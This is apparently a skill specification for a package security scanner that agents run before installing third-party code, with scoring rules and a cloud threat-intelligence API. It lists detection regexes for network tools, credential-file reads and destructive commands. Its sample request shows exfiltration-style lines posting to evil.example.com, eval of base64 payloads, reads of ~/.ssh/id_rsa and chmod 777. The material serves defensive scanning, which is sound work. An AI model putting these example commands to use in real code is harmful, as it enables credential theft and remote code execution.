Yidun Skill Sec

yidun-skill-sec ⚡

Hybrid local-cloud security scanner for third-party code packages. Scans fast, scores precisely, fails safely.

Security Disclosure

This skill uploads non-sensitive metadata (file hashes, behavior tag names, and extracted code snippets that triggered detections) to a Yidun threat intelligence endpoint for analysis. The following data is explicitly not uploaded: full source code, user credentials, environment variables, or any personal data.

The cloud endpoint (as.dun.163.com) is operated by NetEase Yidun, a licensed cybersecurity service provider. Cloud analysis is enabled by default and strongly recommended. It can be explicitly disabled by the user if network access is restricted or not desired.

What It Does

YidunClawSec fingerprints a code package, runs behavioral analysis locally, and consults cloud threat intelligence to produce a quantified safety score. It catches malware, data leaks, privilege abuse, and obfuscation — before anything gets installed.

How It Works — Four Phases

┌──────────────┐     ┌──────────────┐     ┌──────────────────┐     ┌────────────────┐
│   SOURCE     │────▶│  FINGERPRINT │────▶│  BEHAVIORAL SCAN │────▶│  CLOUD INTEL   │
│  VETTING     │     │  hash + meta │     │  static analysis │     │  (default: on) │
└──────────────┘     └──────────────┘     └──────────────────┘     └────────────────┘
        │                    │                     │                        │
        └────────────────────┴─────────────────────┴────────────────────────┘
                                                   ▼
                                         ┌───────────────────┐
                                         │  THREAT VERDICT   │
                                         │  score + labels   │
                                         └───────────────────┘

Phase 0: Source Vetting

Before downloading or scanning any code, YidunClawSec evaluates where the package comes from. A package from an untrusted or unknown source carries inherent risk regardless of its content.

0.1 Source Tags

Hard Rule: Any SRC_BLACKLISTED_DOMAIN hit forces the verdict to CRITICAL immediately — scanning halts and the package is blocked without further analysis.

0.2 Registry Allowlist

The following registries are considered trusted by default:

Packages installed directly from a raw URL, a private server, or an unknown host are tagged SRC_UNKNOWN_REGISTRY unless the host is on the allowlist.

0.3 Author / Publisher Trust

For supported registries (npm, PyPI, ClawHub), the scanner checks the publishing account's trust profile:

# Source vetting output example
SOURCE VETTING
  Registry: clawhub.com → ✅ trusted
  Domain:   clawhub.com → ✅ not blacklisted
  Author:   some-author (verified, age: 2y 3m) → ✅ trusted
  Source score: 100/100  Tags: none

0.4 Source Metadata in Cloud Request

Source vetting results are included in the cloud request as source_meta:

"source_meta": {
  "registry": "clawhub.com",
  "install_url": "https://clawhub.com/packages/data-processor-1.2.3.tar.gz",
  "author_verified": true,
  "author_account_age_days": 823,
  "prior_removals": 0,
  "tags": []
}

Phase 1: Fingerprint

Before anything else, build a complete inventory of the package.

Actions performed:

1. List every file in the package
2. Compute MD5 hash per file via openssl dgst -md5
3. Derive a composite package fingerprint (sorted hash of all file hashes)
4. Extract metadata: name, version, author, declared dependencies

Output: A fingerprint manifest used for cache lookups and audit trail.

# Example: compute file hashes
find /tmp/pkg -type f -exec openssl dgst -md5 {} \;

# Example: composite fingerprint
find /tmp/pkg -type f -exec openssl dgst -md5 {} \; | sort | openssl dgst -md5

Phase 2: Behavioral Scan

A static analysis pass that classifies every file by its observable behaviors. No code is executed — only pattern matching and structural inspection.

2.1 Behavior Categories

Each detected behavior is tagged into one of these categories:

2.2 How Severity Scores Work

• Start at 100 (fully safe)
• Each behavior tag subtracts its severity boost from the score
• Multiple tags stack, but the score floors at 0
• A single CRED_HARVEST or PRIV_ESCALATION tag triggers an immediate escalation — the package is flagged regardless of total score

2.3 Pattern Matching Rules

The scanner matches against concrete code patterns:

NET_OUTBOUND:
  curl|wget|fetch|http\.get|requests\.(get|post)|axios|urllib
  + destination is NOT localhost/127.0.0.1/::1

NET_IP_RAW:
  \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b in URL/connection context

FS_READ_SENSITIVE:
  cat|read|open.*\.(ssh|gnupg|aws|config/gh|kube)

EXEC_DYNAMIC:
  eval\s*\(|exec\s*\(|new\s+Function\s*\(|`.*\$\(

ENCODE_DECODE:
  base64\s+(encode|decode|-d)|atob\(|btoa\(|Buffer\.from\(.*base64

CRED_HARVEST:
  (API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY).*=|
  cat.*id_rsa|cat.*\.env|keyring\.get

PRIV_ESCALATION:
  sudo\s|chmod\s+[0-7]*7|chown\s+root|setuid

AGENT_MEMORY:
  MEMORY\.md|USER\.md|SOUL\.md|IDENTITY\.md|\.claude|\.claw/memory

OBFUSCATED:
  single-line file >500 chars with no whitespace|
  variable names all <3 chars in >20 occurrences

BYPASS_SAFETY:
  --no-verify|--force|--allow-root|--skip-ssl|--insecure|--no-check-certificate|
  GIT_SSL_NO_VERIFY|NODE_TLS_REJECT_UNAUTHORIZED=0

DESTRUCTIVE_OP:
  rm\s+-rf|shutil\.rmtree|git\s+reset\s+--hard|git\s+clean\s+-fd|
  DROP\s+TABLE|DROP\s+DATABASE|mkfs\.|dd\s+if=|truncate\s+--size=0

PROMPT_INJECT:
  Patterns that attempt to override agent instructions or assume unrestricted personas.
  Exact regex strings are maintained server-side to prevent the pattern list itself
  from being flagged as an injection vector. The local scanner checks for structural
  indicators (e.g. imperative overrides targeting "instructions", "rules", "constraints",
  jailbreak persona triggers, and SYSTEM-level injection markers in non-system contexts).

Phase 3: Cloud Intelligence

When cloud is enabled (default), yidun-skill-sec consults the remote threat intelligence service. If the user has set YIDUN_SKILL_SEC_CLOUD=false, this phase is skipped entirely and scoring uses offline weights. If the cloud call times out (10s), the scanner automatically downgrades to local-only mode and notifies the user.

3.1 What Gets Sent

The fingerprint manifest, behavior tags, and extracted evidence artifacts are uploaded. Evidence includes the specific URLs, shell commands, and credential access paths that triggered each tag — enabling the cloud to perform real content-level threat analysis.

Evidence redaction rules — before upload, the scanner applies the following sanitization:

• Environment variable values are replaced with [REDACTED] (only the variable name is sent)
• File content from sensitive paths (~/.ssh, ~/.aws, ~/.env) is never included — only the path and access pattern are sent
• The context field is truncated to the single matched line; multi-line context is not collected
• Full source code is NOT sent — only the lines that triggered a detection tag

These rules ensure that no secrets, credentials, or private data leave the local machine.

POST https://as.dun.163.com/v1/agent-sec/skill/check

{
  "request_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
  "skill": {
    "name": "target-package",
    "version": "1.2.3",
    "source": "clawhub",
    "author": "some-author"
  },
  "files": [
    {"path": "main.py", "md5": "a1b2c3...", "size": 4096},
    {"path": "config.yml", "md5": "d4e5f6...", "size": 256}
  ],
  "skill_md5": "composite_fingerprint_abc",
  "local_result": {
    "red_flags": ["NET_OUTBOUND", "ENCODE_DECODE"],
    "risk_level": "medium"
  },
  "evidence": {
    "urls": [
      {
        "tag": "NET_OUTBOUND",
        "value": "https://evil.example.com/exfil",
        "file": "fetch.py",
        "line": 12,
        "context": "requests.post('https://evil.example.com/exfil', data=payload)"
      },
      {
        "tag": "NET_IP_RAW",
        "value": "http://45.33.32.156/cmd",
        "file": "init.py",
        "line": 7,
        "context": "urllib.request.urlopen('http://45.33.32.156/cmd')"
      }
    ],
    "commands": [
      {
        "tag": "EXEC_SHELL",
        "value": "rm -rf /tmp/traces",
        "file": "setup.sh",
        "line": 23,
        "context": "subprocess.run(['rm', '-rf', '/tmp/traces'], shell=True)"
      },
      {
        "tag": "EXEC_DYNAMIC",
        "value": "eval(base64.b64decode(payload))",
        "file": "loader.py",
        "line": 5,
        "context": "eval(base64.b64decode(payload).decode())"
      },
      {
        "tag": "PRIV_ESCALATION",
        "value": "chmod 777 /usr/local/bin/hook",
        "file": "install.sh",
        "line": 11,
        "context": "os.system('chmod 777 /usr/local/bin/hook')"
      }
    ],
    "credential_accesses": [
      {
        "tag": "CRED_HARVEST",
        "value": "os.environ.get('AWS_SECRET_ACCESS_KEY')",
        "file": "config.py",
        "line": 3,
        "context": "secret = os.environ.get('AWS_SECRET_ACCESS_KEY')"
      },
      {
        "tag": "FS_READ_SENSITIVE",
        "value": "~/.ssh/id_rsa",
        "file": "auth.py",
        "line": 18,
        "context": "open(os.path.expanduser('~/.ssh/id_rsa')).read()"
      }
    ],
    "obfuscation_samples": [
      {
        "tag": "ENCODE_DECODE",
        "value": "base64.b64decode('aGVsbG8=')",
        "file": "payload.py",
        "line": 9,
        "context": "exec(base64.b64decode('aGVsbG8=').decode())"
      }
    ]
  }
}

Evidence Field Specification

Each evidence record has the following structure:

3.2 What Happens Server-Side

Request received
  │
  ├─ Lookup fingerprint in threat database
  │   ├── Known malicious  → immediate BLOCK
  │   ├── Known safe       → immediate PASS
  │   └── Unknown          → run deep analysis via content safety API
  │                            ├── analyze code snippets (sanitized)
  │                            ├── check against threat patterns
  │                            └── cache result with TTL
  │
  └─ Return verdict + confidence score

3.3 Response Format

{
  "request_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
  "cache_hit": false,
  "confidence_score": 45,
  "labels": ["NET_OUTBOUND", "ENCODE_DECODE"],
  "verdict": "REVIEW",
  "recommendation": "Suspicious encoding patterns detected near network calls",
  "deductions": [
    {
      "tag": "NET_OUTBOUND",
      "reason": "Detected outbound HTTP call to unknown external host",
      "evidence": "https://evil.example.com/exfil",
      "score_impact": -15,
      "severity": "medium"
    },
    {
      "tag": "ENCODE_DECODE",
      "reason": "Base64 decode result passed directly into eval — likely obfuscated payload",
      "evidence": "exec(base64.b64decode('aGVsbG8=').decode())",
      "score_impact": -20,
      "severity": "high"
    },
    {
      "tag": "NET_IP_RAW",
      "reason": "Connection to raw IP address bypasses DNS — common in C2 communication",
      "evidence": "http://45.33.32.156/cmd",
      "score_impact": -25,
      "severity": "high"
    }
  ]
}

request_id generation: Client must generate a UUID v4 before each request and include it in the body. The server echoes the same value in the response for end-to-end tracing.

# Generate UUID v4 on the fly (macOS / Linux)
REQUEST_ID=$(uuidgen | tr '[:upper:]' '[:lower:]')

deductions item fields:

3.4 Timeout Fallback

When cloud is enabled but the network call fails:

1. curl times out after 10 seconds
2. Scanner falls back to local-only mode automatically
3. All scores shift -10 points (conservative bias)
4. Report shows Mode: local-only (cloud timeout)
5. Any score below 60 requires user confirmation before install

Producing the Verdict

The final threat score combines local scan + cloud intel (when available):

Score Composition

Threat Levels

Hard rules (override score):

• Any CRED_HARVEST tag → floor to SEVERE
• Any PRIV_ESCALATION tag → floor to SEVERE
• Both present → force CRITICAL

Report Output

⚡ YIDUN-SKILL-SEC Scan Report

[name] · v[version] · [source] · by [author] · [timestamp]

Phase 0 · Source Vetting

Phase 1 · Fingerprint

[N] files · MD5 [hash...] · [file1] [file2] ...

Phase 2 · Behavioral Scan

Local score [xx]/100 · If no findings: ✅ No suspicious behaviors detected

Phase 3 · Cloud Intel

Privilege Surface · Network: [domains] · FS: [paths] · Shell: [cmds] · Creds: [yes/no]

🎯 Score: [xx]/100 · [🟢 CLEAR / 🟢 MINOR / 🟡 ELEVATED / 🔴 SEVERE / ⛔ CRITICAL]

[✅ Allow / ⚠️ Requires confirmation / ❌ Blocked]

⚠️ [hard rule trigger or key observation, omit if none]

Usage Example

User: "Install data-processor from ClawHub"

Agent workflow:

0. Source vetting
   → Registry: clawhub.com ✅  Domain: clean ✅  Author: verified ✅
   → Source score: 100/100

1. Download to temp directory
   $ mkdir -p /tmp/yds-scan && clawhub install data-processor --dir /tmp/yds-scan

2. Fingerprint
   $ find /tmp/yds-scan -type f -exec openssl dgst -md5 {} \;
   → 4 files, composite: 7f3a...

3. Behavioral scan
   → NET_OUTBOUND detected in fetch.py:12 (api.dataproc.io)
   → FS_WRITE_SYSTEM detected in setup.sh:8 (/usr/local/bin)
   → Local score: 55/100

4. Cloud intel query
   → Cache miss → deep analysis → confidence 48/100
   → Labels: [NET_OUTBOUND, FS_WRITE_SYSTEM]

5. Final score: 15% × 100 + 40% × 55 + 30% × 48 + 15% × 40 = 15 + 22 + 14.4 + 6 = 57
   → Level: ELEVATED
   → Verdict: ⚠️ Review — network calls + system writes need justification

More Scenarios

Clean Package

Package: markdown-helper v2.1.0
Behaviors: none detected
Cloud: cache hit (safe), score 92
Final: 🟢 CLEAR (94) → ✅ Allow

Obfuscation + Credential Access

Package: perf-booster v1.0.0
Behaviors: OBFUSCATED, CRED_HARVEST, NET_OUTBOUND
Cloud: cache hit (threat), score 5
Hard rule: CRED_HARVEST → floor SEVERE
Final: ⛔ CRITICAL (8) → ❌ Block

Offline Scan

Package: log-rotator v3.0.0
Behaviors: FS_WRITE_SYSTEM, EXEC_SHELL
Cloud: unavailable → local-only mode (-10 penalty)
Local score: 60 - 10 = 50
Final: 🟡 ELEVATED (50) → ⚠️ Review

Cloud Call Policy

Cloud intelligence is enabled by default. The user can explicitly disable it by setting:

export YIDUN_SKILL_SEC_CLOUD=false

When disabled, the scanner runs in local-only mode with adjusted score weights and notifies the user that cloud verification was skipped.

Rules that always apply regardless of mode:

• ❌ Do NOT self-judge that cloud is "unnecessary" and skip it without the user setting YIDUN_SKILL_SEC_CLOUD=false
• ❌ Do NOT silently fall back to local-only on timeout without notifying the user
• ❌ Do NOT treat any skill type as exempt from cloud verification when cloud is enabled

Requirements

Scan first, install later. ⚡

Author: Yidun Security Team License: MIT